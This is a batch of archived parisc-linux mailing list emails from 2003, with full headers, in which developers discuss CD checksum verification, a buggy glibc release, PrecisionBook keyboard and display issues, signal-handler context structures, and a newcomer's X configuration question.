Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 938E84877
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 00:34:15 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 19AlAT-0005kL-00; Wed, 30 Apr 2003 08:34:14 +0200
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19AlAT-0005kH-00; Wed, 30 Apr 2003 08:34:13 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 30 Apr 2003 08:34:12 +0200
In-Reply-To: <OF67C87243.4AA56CF6-ONC1256D17.0044AF0F@diamond.philips.com>
X-DCC-neonova-Metrics: spm2 1127; Body=3 Fuz1=3 Fuz2=3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18359

Hi Joachim,


>If the downloaded image shows correct md5sum, I would recommend checking
>
>your
>burned CDROM for equal md5sum:
>dd if=/dev/cdrom bs=8192|md5sum
>
Absolutly right, for my own I used :
readcd dev=1,4,0 f=- | md5sum

(replacing dev= by the relevant hw/path of your own cdrom)

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be





From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Wed, 30 Apr 2003 09:15:41 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <3EA9466400001A95@ocpmta7.freegates.net>
References: <20030430003106.GC12492@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622418 25026 80.91.229.3 (22 Nov 2014 02:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:38 +0000 (UTC)
Cc: "Boehm, Hans" <hans_boehm@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 01:15:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CFA0487A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 01:15:53 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 19Aloc-0003DI-00; Wed, 30 Apr 2003 09:15:42 +0200
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19Aloc-0003DC-00; Wed, 30 Apr 2003 09:15:42 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 30 Apr 2003 09:15:41 +0200
In-Reply-To: <20030430003106.GC12492@systemhalted>
X-DCC-neonova-Metrics: spm2 1127; Body=4 Fuz1=4 Fuz2=4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18360

Hi,

>
>> ii  libc6          2.3.1-16       GNU C Library: Shared libraries and
Timezone
>> ii  libc6-dev      2.3.1-16       GNU C Library: Development Libraries
>and Hea
>
>Perfect.
>
>> I'm ok with updating to -17 if you promise it won't do evil things
>> to my box. ;^)
>
>Don't touch -17, the _Unwind_Find_FDE code broke and it's doing damage
>to things like 'vi' ... *sigh* I haven't even looked into this (looks
>like gcc/glibc clashes again).
>
Umm could this be why that my b2k crashed when compiling a kernel to test
a patch?

I just come back to libc6 2.3.1-16: the pb didn't occurs anymore. 
(I was a bit confused because just did it on a test 2.4.21-rc1 :) )

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be





From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: patch 2.4.21 (follow up)
Date: 30 Apr 2003 12:32:12 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <1051702331.19579.8.camel@dhcp22.swansea.linux.org.uk>
References: <3EA9466400001A07@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622419 25029 80.91.229.3 (22 Nov 2014 02:13:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 06:30:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 516D24863
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 06:30:54 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h3UBWF46019735;
	Wed, 30 Apr 2003 12:32:16 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h3UBWDpC019733;
	Wed, 30 Apr 2003 12:32:13 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3EA9466400001A07@ocpmta7.freegates.net>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18361

On Mer, 2003-04-30 at 07:12, Joel Soete wrote:
> >I would like to thanks you again for your help and all those who help me
> >to build this stuff.

I typed wget, more and patch. The work was all done by people making it
easy to merge



From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Presicionbook keyboard under console
Date: Wed, 30 Apr 2003 17:50:11 +0100 (IST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304301730410.21749-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622419 25033 80.91.229.3 (22 Nov 2014 02:13:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 10:50:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0460482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 10:50:13 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3UGoC604421
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 17:50:12 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18362

Hi,

I tried to figure out why some keys on my Presicionbook are messed up
when using the console (it works on X). As it turns out, 'showkey -k'
shows the 'keycode 86' for the following keys:

ESC, F2 .. F12, Ins, Del, AltL, AltR, MetaL, MetaR, | and \ (same key),
Scroll lock, PgDn, PgUp, Home, PrSc, Pause, End and the four arrow keys.

Since they all share the keycode 86, and obviously this keycode is
assigned to '\', all the above mentioned keys produce '\' as an output.

showkey -s produces the following output for all the above mentioned keys:
pressing key: 0x7f release: 0xff


Any clue what might be wrong?

Thanks, Max


PS: I still have the problem that X currently just works when I use the
external monitor; using the internal LCD it boots fine, but doesn't show
anything ...



From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Presicionbook keyboard under console
Date: Wed, 30 Apr 2003 10:38:34 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200304301738.h3UHcYG21821@opus.allegro.com>
References: <Pine.LNX.4.44.0304301730410.21749-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622419 25037 80.91.229.3 (22 Nov 2014 02:13:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 11:38:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id E93C94831
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 11:38:36 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id h3UHcYG21821;
	Wed, 30 Apr 2003 10:38:34 -0700
In-Reply-To: <Pine.LNX.4.44.0304301730410.21749-100000@sal.ucc.ie> from "M. Grabert" at Apr 30, 2003 05:50:11 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18363

Re:

> I tried to figure out why some keys on my Presicionbook are messed up
> when using the console (it works on X). As it turns out, 'showkey -k'
> shows the 'keycode 86' for the following keys:
... 
> PS: I still have the problem that X currently just works when I use the
> external monitor; using the internal LCD it boots fine, but doesn't show
> anything ...

I can suggest a $400 solution:
   http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2726642700&category=177 
...another PrecisionBook.

I've found no keyboard problems like you describe on mine,
and X works just fine with the internal LCD screen (haven't tried an
external monitor).

On your keyboard problem...plug in an external keyboard and see if the
problem exists with it, too.  Either way, that should localize the problem
somewhat.

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Presicionbook keyboard under console
Date: Wed, 30 Apr 2003 18:42:08 +0100 (IST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304301839210.21749-100000@sal.ucc.ie>
References: <200304301738.h3UHcYG21821@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622420 25043 80.91.229.3 (22 Nov 2014 02:13:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 11:42:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id A96174847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 11:42:15 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3UHg9605441;
	Wed, 30 Apr 2003 18:42:09 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200304301738.h3UHcYG21821@opus.allegro.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18364

On Wed, 30 Apr 2003, Stan Sieler wrote:

> Re:
>
> > I tried to figure out why some keys on my Presicionbook are messed up
> > when using the console (it works on X). As it turns out, 'showkey -k'
> > shows the 'keycode 86' for the following keys:
> ...
> > PS: I still have the problem that X currently just works when I use the
> > external monitor; using the internal LCD it boots fine, but doesn't show
> > anything ...
>
> I can suggest a $400 solution:
>    http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2726642700&category=177
> ...another PrecisionBook.
>
> I've found no keyboard problems like you describe on mine,
> and X works just fine with the internal LCD screen (haven't tried an
> external monitor).

Well, the internal LCD works, until it switches to stifb.
The keyboard works under X perfectly aswell. It's just the console ...

> On your keyboard problem...plug in an external keyboard and see if the
> problem exists with it, too.  Either way, that should localize the problem
> somewhat.

Yes, an external keyboard works fine ...


May I ask what your kernel & .config is and what firmware you have on
the Precisionbook?

Thanks, Max



From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Wed, 30 Apr 2003 14:12:16 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20030430181216.GA20779@systemhalted>
References: <20030430003106.GC12492@systemhalted> <3EA9466400001A95@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622420 25049 80.91.229.3 (22 Nov 2014 02:13:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 12:11:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8F1C482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 12:11:24 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 19Aw41-0005Q2-00; Wed, 30 Apr 2003 14:12:17 -0400
Content-Disposition: inline
In-Reply-To: <3EA9466400001A95@ocpmta7.freegates.net>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (43% Sync Ratio [====......])
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18365

> >Don't touch -17, the _Unwind_Find_FDE code broke and it's doing damage
> >to things like 'vi' ... *sigh* I haven't even looked into this (looks
> >like gcc/glibc clashes again).
> >
> Umm could this be why that my b2k crashed when compiling a kernel to test
> a patch?

Quite possibly. If you can get a backtrace of the crash you'll se it die
inside _Unwind_Find_FDE in glibc.
 
I'm working on fixing this.

c.



From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Wed, 30 Apr 2003 22:09:31 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20030501040931.GA21495@dsl2.external.hp.com>
References: <75A9FEBA25015040A761C1F74975667D01442066@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622420 25051 80.91.229.3 (22 Nov 2014 02:13:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:40 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>,
	'Carlos O'Donell' <carlos@baldric.uwo.ca>
To: "Boehm, Hans" <hans_boehm@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 22:09:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 214594829; Wed, 30 Apr 2003 22:09:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <75A9FEBA25015040A761C1F74975667D01442066@hplex4.hpl.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18366

On Tue, Apr 29, 2003 at 02:17:32PM -0700, Boehm, Hans wrote:
> 3) Adding 24 bytes to the struct sigcontext pointer (?) passed
>    as a third argument to the signal handler. (!)
...
> Is the third argument to a signal handler really not a pointer to sigcontext?

Yes - that seems to be the case.
Randolph found most of the answer in "Single Unix Specification"
(IEEE 1033.1-2001).  Third argument is "ucontext_t".

We counted 20 bytes (not 24) before the "struct sigcontext uc_mcontext;"
and thus still don't have a full explanation. Our best guess is some
misc padding is involved.

hth,
grant


From - Thu Nov 08 21:27:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "WRX-Tuning" <wrx@hispeed.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Video card
Date: Fri, 2 May 2003 10:38:27 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <000801c31086$34888490$0d0da2d9@tango>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C31096.F754E260"
X-Trace: ger.gmane.org 1416622421 25054 80.91.229.3 (22 Nov 2014 02:13:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:41 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  1 02:37:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.hispeed.ch (isp247n.hispeed.ch [62.2.95.247])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43ED64830
	for <parisc-linux@parisc-linux.org>; Thu,  1 May 2003 02:37:50 -0600 (MDT)
Original-Received: from tango (dclient217-162-13-13.hispeed.ch [217.162.13.13])
	by smtp.hispeed.ch (8.12.6/8.12.6/tornado-1.0) with SMTP id h418blMP022016
	for <parisc-linux@parisc-linux.org>; Thu, 1 May 2003 10:37:48 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18367

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C31096.F754E260
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,

I've installed the Debian PA-Risc in a C360 HP Desktop.
I have problem with my video card, at the end when i type startx, come =
the message"fatal error, no screens found".
Can You please help me how can i let it work?

I'm new in this operating system, please write me down what step's and =
how i must do.

Thank You a lot for helping.

Giovanni

p.s i've search for helping, i found something but i'don't understand =
how to edit (what comands) the XF86Config file.
------=_NextPart_000_0005_01C31096.F754E260
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I've installed the Debian PA-Risc in a =
C360 HP=20
Desktop.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I have problem with my video card, at =
the end when=20
i type startx, come the message"fatal error, no screens =
found".</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Can You please help me how can i let it =

work?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm new in this operating system, =
please write me=20
down what step's and how i must do.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
